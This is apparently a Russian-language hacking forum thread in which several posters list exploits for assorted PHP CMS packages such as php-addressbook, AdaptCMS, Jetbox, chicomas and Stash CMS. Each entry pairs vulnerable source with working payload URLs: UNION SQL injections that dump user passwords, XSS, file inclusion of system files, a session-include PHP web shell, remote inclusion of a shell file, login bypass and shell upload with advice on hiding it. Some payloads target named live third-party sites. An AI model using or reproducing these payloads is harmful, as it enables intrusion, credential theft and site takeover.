$sparkling = $_POST['sparkling'];
$sack = $_POST['sack'];
$special = $_POST['special'];
$waterTreatment = $_POST['waterTreatment'];
$yeastLiquid = $_POST['yeastLiquid'];
$yeastDried = $_POST['yeastDried'];
$starter = $_POST['starter'];
$yeastNutrients = $_POST['yeastNutrients'];
$carbonation = $_POST['carbonation'];
$volumeC02 = $_POST['volumeC02'];
$primingSugar = $_POST['primingSugar'];
$bottlingDate = $_POST['bottlingDate'];
$finingsType = $_POST['finingsType'];
$finingsAmount = $_POST['finingsAmount'];
}
mysql_select_db($database_brewing, $brewing);
$query_log = sprintf("SELECT * FROM $dbTable WHERE id = '%s'", $id);
$log = mysql_query($query_log, $brewing) or die(mysql_error());
$row_log = mysql_fetch_assoc($log);
$totalRows_log = mysql_num_rows($log);
$query_style1 = sprintf("SELECT * FROM styles WHERE brewStyle = '%s'", $style);
SQL
mq=off
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=default
post
style=-1' union select 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,unh ex(hex(concat_ws(0x3a,user_name,password))) from users --
pXSS
для полей
name
address
city
state
zip
homePhone
workPhone
email
brewClub
brewName
still
dry
hydromel
petillant
semi
standard
sweet
sparkling
sack
special
waterTreatment
yeastLiquid
yeastDried
starter
yeastNutrients
carbonation
volumeC02
primingSugar
bottlingDate
finingsType
finingsAmount
по типу
http://localhost/brewblogger/sections/entry.inc.php?action=verify&style=default&id=default
post
city=<script>alert(121212)</script>
php-addressbook v5.4.6 - r276
http://sourceforge.net/projects/php-addressbook/
group.php
echo "<div class='msgbox'>Users added.<br /><i>Go to <a href='./?group=$group_name'>group page \"$group_name\"</a>.</i></div>";
...
<form accept-charset="utf-8" method="post" action="<?php echo $_SERVER['PHP_SELF'];?>">
pXSS
http://localhost/addressbookv5.4.6/index.php?group=1<script>alert(121212)</script>
pXSS
mq=off
http://localhost/addressbookv5.4.6/group.php/>"><script>alert(121212)</script>
---------------------
include/dbconnect.php
$get_vars = array( 'id' );
foreach($get_vars as $get_var) {
if(isset($_GET[$get_var])) {
${$get_var} = intval($_GET[$get_var]);
} elseif(isset($_POST[$get_var])) {
${$get_var} = intval($_POST[$get_var]);
} else {
${$get_var} = null;
}
}
echo $id, "<br />";
// Copy only used variables into global space.
$get_vars = array( 'searchstring', 'alphabet', 'group', 'resultnumber'
, 'submit', 'update', 'delete'
, 'new', 'add', 'remove', 'edit' );
foreach($get_vars as $get_var) {
if(isset($_GET[$get_var])) {
${$get_var} = mysql_real_escape_string($_GET[$get_var], $db);
} elseif(isset($_POST[$get_var])) {
${$get_var} = mysql_real_escape_string($_POST[$get_var], $db);
} else {
${$get_var} = null;
}
}
...
// To run the script on systeme with "register_globals" disabled,
// import all variables in a bit secured way: Remove HTML Tags
foreach($_REQUEST as $key => $value)
{
// Allow all tags in headers and footers
if($key == "group_header" || $key == "group_footer"){
${$key} = $value;
// Handle arrays
} elseif(is_array($value)) {
foreach($value as $entry)
{
${$key}[] = strip_tags($entry);
}
// Handle the rest
} else {
// ${$key} = htmlspecialchars($value); --chatelao-20071121, doesn't work with Chinese Characters
${$key} = strip_tags($value);
}
// TBD: prevent SQL-Injection
}
...
// ------------------- Group query handling ------------------------
//
$select_groups = "SELECT groups.*
, parent_groups.group_name parent_name
, parent_groups.group_id parent_id
FROM $table_groups AS groups
LEFT JOIN $table_groups AS parent_groups
ON groups.group_parent_id = parent_groups.group_id";
group.php
// Open for Editing
else if($edit || $id)
{
if($edit) $id = $selected[0];
if(! $read_only)
{
$result = mysql_query("$select_groups WHERE groups.group_id=$id",$db);
SQL
http://localhost/addressbookv5.4.6/group.php?id=-1+union+select+1,2,3,4,version(),6,7,8,9+--+
-------------------------
edit.php
else if($id)
{
if(! $read_only)
{
$result = mysql_query("SELECT * FROM $base_from_where AND $table.id=$id",$db);
SQL
http://localhost/addressbookv5.4.6/edit.php?id=-1+union+select+1,version(),3,4,5,6,7,8,9,10,11,12, 13,14,15,16,17,18,19,20,21,22,23+--+
cms chicomas Ver : 2.0.4
http://sourceforge.net/projects/chicomas/
functions.php
function SetLanguage() {
global $defaultlanguage;
$obj_language = new CLanguage();
$obj_languagearray = new CLanguageArray();
$obj_languageengine = new CLanguageEngine();
if (!$_REQUEST['lang']){
// No change request of language
if (!session_is_registered("lang")){
//No Registered
$lang = $defaultlanguage;
session_register("lang");
$_SESSION['lang'] = $lang;
}
else{
//Registered
}
}
else{
//Change request of language
$lang = $_REQUEST['lang'];
$obj_language = $obj_languageengine->GetLanguage($lang);
if ($obj_language!=null){
if (session_is_registered("lang")){
$_SESSION['lang'] = $lang;
}
else{
if ($lang =="")
$lang = $defaultlanguage;
session_register("lang");
}
}
}
$lang = $_SESSION['lang'];
switch (strtolower($lang)){
default:
case "tr":
$charset = "iso-8859-9";
break;
case "en":
$charset = "iso-8859-1";
break;
case "de":
$charset = "iso-8859-1";
break;
}
if (session_is_registered("charset")){
$_SESSION['charset'] = $charset;
}
else{
if ($charset =="")
$charset = "iso-8859-9";
session_register("charset");
}
//Include Language File
include("languages/".strtolower($_SESSION['lang'])."/language.php");
}
Если $obj_language = $obj_languageengine->GetLanguage($lang); вернет не пустой результат,
значение $lang = $_REQUEST['lang']; занесется в сессию и затем проинклудится
include("languages/".strtolower($_SESSION['lang'])."/language.php");
смотрим
objects/obj_languages.php
class CLanguageEngine {
function GetLanguages($active){
$o_dataaccess = new CDataAccess();
return $o_dataaccess->GetLanguages($active);
objects/obj_dataaccess.php
function GetLanguage($lang) {
$sql = "SELECT * FROM languages ";
$sql .= "WHERE lang='".strtolower($lang)."' ";
$sql .= "AND active='1'";
//echo "SQL:".$sql."<br>";
$db = new db();
$db->db_connect();
if ($db->is_connected()){
$db->db_query($sql);
while ($row = $db->get_row()) {
$o_language = new CLanguage($row);
}
$db->db_disconnect();
}
return $o_language;
}
при mq=off
SQL
http://localhost/chicomas/index.php?lang=en'+union+select+1,2,3,4,version(), 6+--+
SQL+LFI
http://localhost/chicomas/index.php?lang=/../../../../../../../boot.ini%00'+union+select+1,2,3,4,5,6+--+
Shell
если нашли сессию, получаем шелл, например так: (используем два разных браузера)
opera, заливаем шелл в сессию
http://localhost/chicomas/index.php?lang='+union+select+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,5,6+--+
firefox, инклудим сессию
http://localhost/chicomas/index.php?lang=/../../../../../../../Server/PHP/TMP/sess_be2c81ce822253b08bfa181ee5b7cf9d%00'+union+se lect+1,<?if($_GET[pass])system($_GET[pass]);?>,3,4,version(),6+--+&pass=dir
-------------------
tools/mysqlbackuppro/index.php
/*
* Locale Setting
*/
$locale = gonxlocale::init();
if (!isset($locale) or $locale=="") {
$locale = $GonxAdmin["locale"];
}
require_once("locale/".$locale.".php");
tools/mysqlbackuppro/libs/locale.class.php
class gonxlocale{
/**
* Constructor
* @access protected
*/
function locale(){
}
/**
*
* @access public
* @return void
**/
function init(){
global $locale,$GonxAdmin,$HTTP_SESSION_VARS;
if (session_is_registered('gonxlocale') and !isset($_GET["locale"])) {
$locale = $HTTP_SESSION_VARS["gonxlocale"];
} elseif (!isset($_GET["locale"])) {
$locale = $GonxAdmin["locale"];
session_register('gonxlocale');
$gonxlocale = $locale;
} elseif (isset($_GET["locale"])) {
if (is_file("locale/".$_GET["locale"].".php")) {
session_register('gonxlocale');
$HTTP_SESSION_VARS["gonxlocale"] = $_GET["locale"];
}
}
return $locale;
}
LFI
mq=off
http://localhost/chicomas/tools/mysqlbackuppro/index.php?locale=../../../../../../boot.ini%00
AdaptCMS Lite v1.5 - NEW
www.adaptcms.com
pXSS
mq=off
http://localhost/adaptcms_lite_1.5/index.php
post
skin=1>"><script>alert(121212);</script>
http://localhost/adaptcms_lite_1.5/?cat=1'+><script>alert(121212);</script>
http://localhost/adaptcms_lite_1.5/index.php?view=redirect&url=1'+><script>alert(121212);</script>
http://localhost/adaptcms_lite_1.5/index.php/>'><script>alert(121212)</script>
-----------------------
index.php
$_GET['id'] = str_replace("/","",stripslashes(check($_GET['id'])));
$sql = mysql_query("SELECT * FROM ".$pre."pages WHERE url = '".$_GET['id']."'");
functions.php
function check($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);
// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=@avascript:alert('XSS')>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
// ;? matches the ;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars
// @ @ search for the hex values
$val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a ;
// @ @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/({0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a ;
}
// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base', 'img');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);
$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
$pattern .= '|({0,8}([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return strip_tags($val, "<p><a><font><b><i><u><span><em><div><li><ul><ol><center><blockquote>");
}
SQL
mq=off
http://localhost/adaptcms_lite_1.5/?view=page&id=-1'+union+select+1,user(),3,version(),5,6+--+
-------------------------------------
index.php
...
if ($_GET['field'] or $_GET['data']) {
$sql = mysql_query("SELECT * FROM ".$pre."fielddata WHERE".$fddata." ORDER BY `id` DESC".$lim);
} else {
if ($_GET['abc']) {
if ($_GET['cat']) {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
} else {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = '' ".$abc.$adate."ORDER BY `id` DESC".$lim);
}
} else {
if ($_GET['cat']) {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE section = '".$_GET['cat']."' AND ver = ''".$adate." ORDER BY `id` DESC".$lim);
} else {
$sql = mysql_query("SELECT * FROM ".$pre."articles WHERE ver = ''".$adate." ORDER BY `id` DESC".$lim);
}
}
}
while($r = mysql_fetch_array($sql)) {
unset($data, $datas, $pab, $rab, $name1, $link1, $n, $m, $y, $x, $i, $id, $name, $relations_id, $relations_sec, $s, $fetch, $get, $dats, $fname, $lid, $lids, $b, $sqlst, $k, $data23, $check);
...
$pab[0] = "{link}";
$pab[1] = "{date}";
$pab[2] = "{story}";
$pab[3] = "{comments}";
$pab[4] = "{cnum}";
$pab[5] = "{pcomment}";
$pab[6] = "{author}";
$pab[7] = "{section}";
$pab[8] = "{cat}";
$pab[9] = "{url}";
$pab[10] = "{title}";
....
$pab[30] = "{".$r[section]."_name}";
$pab[31] = "{".$r[section]."_username}";
$pab[32] = "{".$r[section]."_id}";
$pab[33] = "{".$r[section]."_views}";
$pab[34] = "{".$r[section]."_votes}";
$pab[35] = "{".$r[section]."_social_icons}";
...
// start - custom fields
$name = "";$data = "";$row = "";
$sql_cf = mysql_query("SELECT * FROM ".$pre."fields WHERE cat = '".$r[section]."' OR cat = 'user-profile'");
while ($row = mysql_fetch_array($sql_cf)) {
$name = "$row[name]";
$data = mysql_fetch_row(mysql_query("SELECT data FROM ".$pre."fielddata WHERE fname = '".$name."' AND aid = '".$r[id]."'"));
$fdata[$name] = $data[0];
if ($data[0]) {
$n = $n + 1;
$pab[$n] = "{".$name."}";
$n = $n + 1;
$pab[$n] = "{".$r[section]."_".$name."}";
$m = $m + 1;
if ($row[type] == "textarea") {
$rab[$m] = parse_text($data[0]);
$m = $m + 1;
$rab[$m] = parse_text($data[0]);
} else {
$rab[$m] = stripslashes(html_entity_decode($data[0]));
$m = $m + 1;
$rab[$m] = stripslashes(html_entity_decode($data[0]));
}
} else {
$n = $n + 1;
$pab[$n] = "{".$name."}";
$n = $n + 1;
$pab[$n] = "{".$r[section]."_".$name."}";
$m = $m + 1;
$rab[$m] = "";
$m = $m + 1;
$rab[$m] = "";
}
}
// end - custom fields
...
eval (" ?>" . str_replace($pab, $rab, stripslashes($temp[0])) . " <?php ");
...
Выбирается шаблон ($temp[0]) и в нем поля (массив $pab) заменяются на конкретное содержание (массив $rab).
Чтобы выполнить свою команду, нужно добавить в массивы по элементу, где
$pab[400] = "{cat}"; ( такое поле есть в шаблоне $temp[0] )
$rab[400] = "php code"; (наша команда или скрипт)
этому препятсвует unset
unset($data, $datas, $pab, $rab, ...);
Приходится использовать unset багу.
сформируем hash_del_key для php5
для pab = 2090607416
для rab = 2090679290
Eval
register_globals = On
версия php, уязвимая для UNSET WHACKING
http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090607416[400]=1&2090679290[400]=1
http://localhost/adaptcms_lite_1.5/?view=list&pab[400]=cat&rab[400]=<?php phpinfo(); ?>&2090679290=1
cms jetbox
http://sourceforge.net/projects/jetboxone/
dork:"Powered by Jetbox CMS ™"
Поддерживает УРЛ стандартного типа, но работает со своим
if ($use_standard_url_method==true) {
$url = explode("/",$url_to_split[1]); // Splits URL into array
---------------------------
phpinfo
http://localhost/jetbox/includes/phpinfo.php
http://www.js.mlc.edu.tw/php/jetbox/includes/phpinfo.php
---------------------------
index.php
if (isset($view)) {
$dodefaultpage=false;
$sql2="SELECT * FROM navigation WHERE view_name='".$view."'";
$r2 = mysql_prefix_query($sql2) or die(mysql_error()." q: ".$sql2."<br /> Line: ".__LINE__." <br/>File: ".__FILE__);
if ($ra2 = mysql_fetch_array($r2)){
//echo $ra2["file_name"];
include($ra2["file_name"]);
}
SQL+LFI
mq=off
rg=on
http://localhost/jetbox/?view=1'+union+select+1,"/boot.ini%",3,4,5,6,7,8,9,10,11,12+--+
http://www.egyptiancorner.org/ec/view/1'+union+select+1,0x2F6574632F706173737764,3,4,5,6 ,7,8,9,10,11,12+--+
SQL+RFI
magic_quotes_gpc = Off
register_globals = On
allow_url_include = On
http://localhost/jetbox/?view=-1'+union+select+1,"http://www.site.com/shell.txt",3,4,5,6,7,8,9,10,11,12+--+
http://ghostwriterreviews.com/jetbox/view/1'+union+select+1,0x2F6574632F706173737764,3,4,5,6 ,7,8,9,10,11,12+--+
----------------------------
blogs.php
...
if ($item<>'' && is_numeric($item)) {
$sqlselect1 = "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id AND struct.id=".$item;
}
elseif($option=='last10'){
$sqlselect1 = "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id ORDER BY blog.b_id DESC LIMIT 10";
}
else{
$sqlselect1 = "SELECT *, struct.id AS struct_id FROM blog, struct WHERE struct.container_id=".$container_id." ".$wfqadd." AND struct.content_id=blog.b_id ORDER BY blog.b_id DESC";
}
#echo $sqlselect1;
$result1 = mysql_prefix_query ($sqlselect1) or die (mysql_error());
$blogscount= mysql_num_rows($result1);
if ($blogscount>'0') {
$view_tpl = new Template("./");
$view_tpl->set_file("block", "blogs_item_tpl.html");
$view_tpl->set_block("block", "blogs","blogsz");
$view_tpl->set_var(array("absolutepathfull"=>$absolutepathfull ));
while ($resultarray = mysql_fetch_array($result1)){
$records[1][5]=$resultarray["b_id"];
ob_start();
loggedin_workflow();
$containera = ob_get_contents();
ob_end_clean();
...
if ($item<>'' && is_numeric($item)) {
//$t->set_var("containera", "add comments", true);
$sqlselect1 = "SELECT * FROM blog_comments WHERE blog_id=".$id." ORDER BY blog_comments.c_id ASC";
$result1 = mysql_prefix_query($sqlselect1) or die (mysql_error());
$blog_commentcount= mysql_num_rows($result1);
if ($blog_commentcount>'0') {
$view_tpl2 = new Template("./");
$view_tpl2->set_file("block", "blog_comment_item_tpl.html");
$view_tpl2->set_block("block", "blog_comment","blog_commentz");
...
SQL
rg=on
http://localhost/jetbox/index.php?view=blog&item=1&id=1+union+select+1,2,user_password,4,5,type,user_ password+from+user+--+
http://localhost/jetbox/view/blog/item/1/id/1+union+select+1,2,user_password,4,5,type,user_pas sword+from+user+--+
Работает, если в блоге есть хотя бы одна запись.
Получаем логин и пароль (не хеш) от админки.
[x60]unu
26.02.2010, 15:19
iGaming CMS
Product : iGaming CMS
version : 1.5
site : forums.igamingcms.com
SQL injection
mq=off
games.php
$sql = "SELECT `id`,`title`,`section`,`genre`,`developer`,`publis her`,`release_date` FROM `sp_games` ";
if (!empty($_REQUEST['title'])) {
$sql .= "WHERE `title` LIKE '$_REQUEST[title]%' ";
if (!empty($_REQUEST['section'])) {
$sql .= " AND `section` = '$_REQUEST[section]' ";
}
$sql .= " AND `published` = '1' ";
} else {
if (!empty($_REQUEST['section'])) {
$sql .= "WHERE `section` = '$_REQUEST[section]' AND `published` = '1' ";
} else {
$sql .= "WHERE `published` = '1' ";
...
if ($sql == "SELECT `id`,`title`,`section`,`genre`,`developer`,`publis her`,`release_date` FROM `sp_games` WHERE `published` = '1' ORDER BY `title` ASC")
http://localhost/games.php?order=genre§ion=%27+and+1=0+union+all+select+1,version%28% 29,3,4,5,6,7--+&sort=
index.php
http://localhost/index.php?do=viewarticle&id=2'+and+1=0+union+all+select+1,version(),3,4,5,6 ,7,8,9--+
previews.php
$preview = $db->Execute("SELECT * FROM `sp_previews` WHERE `id` = '$_REQUEST'");
http://localhost/previews.php?do=view&id=1'+union+all+select+1,2,3,4,5--+
Admin Panel (SQL inj) (LFI)
LFI : support.php
require_once("../sources/docs/$_REQUEST.php");
http://localhost/admin/support.php?id=../../file%00
SQL injection : screenshots.php
mq=off
if (isset($_REQUEST['s'])) {
$latestPreview = $db->Execute("SELECT id,title,section FROM `sp_screenshots` WHERE `section` = '$_REQUEST[s]' ORDER BY `id` DESC");
http://localhost/admin/screenshots.php?s=1'+and+1=0+union+all+select+1,ve rsion(),3--+
.:[melkiy]:.
27.02.2010, 19:43
Stash CMS 1.0.3
1) bypass (требования: mq=off)
file: /admin/library/authenticate.php
function login($username,$password,$remember,$location){
$database = new Db();
$results = $database->sqlQuery("SELECT user_key,user_firstname,user_lastname, user_admin FROM ".TBPREFIX."_user WHERE user_password = '$password' AND user_username = '$username'");
if($results){
foreach($results as $results){
$userkey = $results['user_key'];
$firstname = $results['user_firstname'];
$lastname = $results['user_lastname'];
$admin = $results['user_admin'];
}
$name = $firstname." ".$lastname;
$uniquekey = $name.$userkey;
$uniquekey = md5($uniquekey);
$_SESSION['username'] = $name;
$_SESSION['userkey'] = $userkey;
$_SESSION['uniquekey'] = $uniquekey;
$_SESSION['admin'] = $admin;
if ($remember == true){
setcookie("bsm", $userkey, time()+108000); /* expire in 30 days */
setcookie("msb", $uniquekey, time()+108000); /* expire in 30 days */
}
header('location:'.$location);
}else{
return false;
}
}
result:
login: ' or '1'='1
pass: asd
-------------------
боян
-------------------
3) blind sql injection (требования: mq=off,желательно 5 ветка бд)
file: resetpassword.php
$username = $_POST['username'];
$check = $database->sqlQuery("SELECT count(*) as cnt FROM ".TBPREFIX."_user WHERE user_username = '$username'",TRUE,FALSE);
if($check['cnt'] == 0){
if ($username == '') {
$msg = 'You must enter your Username';
}else {
$msg = $username. " doesn't exist";
}
result:
Тыкаем в /admin/login.php Forgot your password, в поле username пишем :
'/**/and/**/(1,2)in(select/**/*/**/from(select/**/name_const(version(),1),name_const(version(),1))as/**/a)/**/and/**/'1'='1
......
Strilo4ka
01.03.2010, 03:15
Ресурс http://download.ru/products/tiger-cms
редактирование раздела в админке файл edit.php... check_var($_GET['id']);
$id_site = $_GET['id'];
$get_site = mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
if(mysql_num_rows($get_site) == 0)
{
mysql_query("INSERT INTO content(razdel_id,text) VALUES('".$id_site."','Текст')");
}
$get_site = mysql_query("SELECT * FROM content WHERE razdel_id = '".$id_site."' LIMIT 1");
list($id,$razdel_id_id,$text) = mysql_fetch_array($get_site);
$get_razdel_name = mysql_query("SELECT name FROM razdeli WHERE id='".$id_site."' LIMIT 1");
list($razdel_name) = mysql_fetch_array($get_razdel_name);...функи ис /admin/functions.php :
...
function check_var($var)
{
if(!isset($var))
{
die ("<script language='Javascript'>function reload() {location = \"index.php\"}; setTimeout('reload()', 0);</script>");
}
}
...
1) SQL inj:
http://site/admin/index.php?module=razdel&task=edit&id=-5'+union+select+1,2,version()--+
Вывод в редактор !!!
2) Путь если ошибки включены.
Файл admin\modules\razdel\delete.php:... check_var($_GET['id']);
$id = $_GET['id'];
mysql_query("DELETE FROM razdeli WHERE id = '".$id."' LIMIT 1");
mysql_query("DELETE FROM content WHERE razdel_id = '".$id."' LIMIT 1");
echo 'Раздел удален'; ...
1) SQL inj:
http://site/admin/index.php?module=razdel&task=delete&id=18'[SQL]
Файл admin\modules\razdel\save_content.php:
... check_var($_GET['site_id']);
check_var($_POST['text']);
check_var($_POST['razdel_name']);
mysql_query("UPDATE razdeli SET name = '".$_POST['razdel_name']."' WHERE id='".$_GET['site_id']."' LIMIT 1");
mysql_query("UPDATE content SET text = '".$_POST['text']."' WHERE razdel_id = '".$_GET['site_id']."' LIMIT 1");
echo 'Раздел обновлен';...
1) SQL inj:
нужно еще устанавливать пост: $_POST['text'], $_POST['razdel_name'] если не будет -переадресация ...
1. site/index.php?module=razdel&task=save_content&site_id=13'[SQL]
2. $_POST['razdel_name']'[SQL] должны быть установлены:
- $_POST['text']
- action: admin/index.php?module=razdel&task=save_content&site_id=13
3. $_POST['text']'[SQL]
должны быть установлены:
- $_POST['razdel_name']
- action: index.php?module=razdel&task=save_content&site_id=13
Файл admin\modules\news\edit.php :
... check_var($_GET['id']);
$id = $_GET['id'];
$get_news_e = mysql_query("SELECT id,title,text,alltext FROM news WHERE id='".$id."' LIMIT 1");
list($id_news_e,$title_e,$text_e,$alltext_e) = mysql_fetch_array($get_news_e); ...
1) пути;
2) http://localhost/triger/center3/admin/index.php?module=news&task=edit&id=6'[SQL];
пример:
http://site/admin/index.php?module=news&task=edit&id=-6'+union+select+1,2,3,4--+
Файл admin\modules\news\create.php:
... check_var($_POST['title']);
$title = $_POST['title'];
check_len($title,200);
clear_my_string($title);
$date = date("Y-m-d");
mysql_query("INSERT INTO news(title,text,alltext,date) VALUES('".$title."','".$_POST['text']."','".$_POST['alltext']."','".$date."')"); ...
1) SQL inj $_POST['alltext']'[SQL]
обязательны:
- $_POST['text']'
2) SQL inj $_POST['text']'[SQL]
обязательны:
- $_POST['alltext'];
Файл admin\modules\news\delete.php:
... check_var($_GET['id']);
$id = $_GET['id'];
mysql_query("DELETE FROM news WHERE id = '".$id."' LIMIT 1");
echo 'Новость удалена'; ...
1) http://site/admin/index.php?module=news&task=delete&id=6'[SQL]
Файл \admin\modules\news\save_news.php:
... check_var($_GET['id']);
check_var($_POST['title']);
check_var($_POST['text']);
check_var($_POST['alltext']);
$id = $_GET['id'];
$title = $_POST['title'];
$text = $_POST['text'];
$all_text = $_POST['alltext'];
$date = date("Y-m-d");
mysql_query("UPDATE news SET title = '".$title."',text = '".$text."',alltext = '".$all_text."',date='".$date."' WHERE id='".$id."' LIMIT 1");
echo 'Новость обновлена'; ...
1) SQL injection не привожу, аналогично, за пост не забываем ...
Файл \admin\modules\tags\save.php :
1) SQL inj update...
Условия:
1) mg=off;
2) админка;
Jojo CMS 1.0 Release Candidate 2
Официальный сайт: http://www.jojocms.org/
Последняя версия: Jojo CMS 1.0 Release Candidate 2(релиз 28 сентября 2009)
1)SQL-Injection
Требования:
отсутствуют.
Путь до уязвимого скрипта:
../gelato/index.php
Эксплуатация(по умолчанию админские данные лежат в таблице "gel_users"):
http://127.0.0.1/gelato/gelato/index.php?post=100500+union+select+1,concat%28user %28%29,0x3a,version%28%29,0x3a,database%28%29%29,3 ,4,5,6,7+--+
Реальный сайт:
http://jazzfaggot.ru/index.php?post=100500+union+select+1,concat(versio n(),0x3a,user(),0x3a,database()),3,4,5,6,7+--+
Причина возникновения уязвимости:
ошибка в логике проверки получаемых данных.
if (isset($_GET["post"])) {
$id_post = $_GET["post"];
if (!is_numeric($id_post) && $id_post < 1 ){ //достаточно выполнить только одно условие, для того чтобы пройти проверку на корректность
header("Location: index.php");
}
} else {
if (isset($param_url[1]) && $param_url[1]=="post") {
$id_post = (isset($param_url[2])) ? ((is_numeric($param_url[2])) ? $param_url[2] : NULL) : NULL;
} else {
$id_post = NULL;
}
}
2) SQL-Injection(админка)
Требования:
доступ к администраторской панели
Путь до уязвимого скрипта:
../gelato/gelato/admin/user.php
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/user.php?edit=2+union+select+1,2,3,4,5,6,7
Причина возникновения уязвимости:
полное отсутствие фильтрации.
3)Path dislocure:
Требования:
вывод ошибок.
Путь до уязвимого скрипта:
../gelato/index.php
Эксплуатация:
http://127.0.0.1/gelato/gelato/index.php?post[]=100500
Реальный сайт:
http://madsc.iz.rs/index.php?post[]=8
4)Заливка шелла
Требования:
доступ в админку.
Путь до уязвимого скрипта:
../gelato/admin/index.php
Код уязвимого скрипта:
if ($_POST["type"]=="2") { //слово "photo" переводится в числовой аналог скриптом, проинклюженным до этого
if (isset($_POST["url"]) && $_POST["url"]!="") {
$photoName = getFileName($_POST["url"]); //проверки на расширение нет-с
if (!$tumble->savePhoto($_POST["url"])) {
header("Location: ".$conf->urlGelato."/admin/index.php?photo=false");
die();
}
$_POST["url"] = "../uploads/".sanitizeName($photoName); }
[B]
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/index.php?new=photo
В качестве фотографии выбираете ваш шелл, любое расширение, создаёте пост. Шелл будет загружен в папку uploads.
Для того чтобы не спалить шелл на главной странице удалите ваш пост, шелл при этом удалён не будет.
Также уязвим модуль загрузки фотографии\музыки\видео\ит .[/I]
Причина возникновения уязвимости:
отсутствие проверки на расширение.
5)Активная XSS
Требования:
включена возможность комментирования.
Путь до уязвимого скрипта:
../gelato/index.php
Уязвимое поле:
<textarea name="content" id="content" cols="100" rows="10" tabindex="4"></textarea>
Эксплуатация:
занесите в уязвимое поле ваш java-script, предварительно закрыв тэг(">)
Сайт с алертом: http://madsc.iz.rs/index.php/post/37.
WORK system CMS e-commerce
http://sourceforge.net/projects/worksystem/
module/catalogue/view_catalogue.php
$select_catalogue = ( isset($_REQUEST['select_catalogue']) and intval($_REQUEST['select_catalogue']) >= 1 ) ? $_REQUEST['select_catalogue'] : "";
...
#read data of product supplier : addresses
$error_select = "";
$total_select = 0;
$query_selecta = "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,b.POSTCODE as POSTCODEA,b.ADDRESS as ADDRESSA,b.TOWN as TOWNA,b.COUNTRY as COUNTRYA,b.USERNAME as USERNAMEA,b.EMAIL as EMAILA,b.PHONE as PHONEA,b.WEB_SITE as WEBSITEA
FROM ".$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."USER b
where ID_CATALOGUE=".$select_catalogue." and a.CREATOR=b.USERID ";
...
$query_select = "SELECT a.CREATOR,a.CUSTOMER_TYPE_ID,c.POSTCODE,c.ADDRESS, c.TOWN,c.COUNTRY,c.EMAIL,c.COMPANY_NAME,c.PHONE
FROM ".$g_db_prefix."CATALOGUE_SUPPLIER a, ".$g_db_prefix."SHOPPING_DELIVERY c
where ID_CATALOGUE=".$select_catalogue." and c.USERID=a.CREATOR";
...
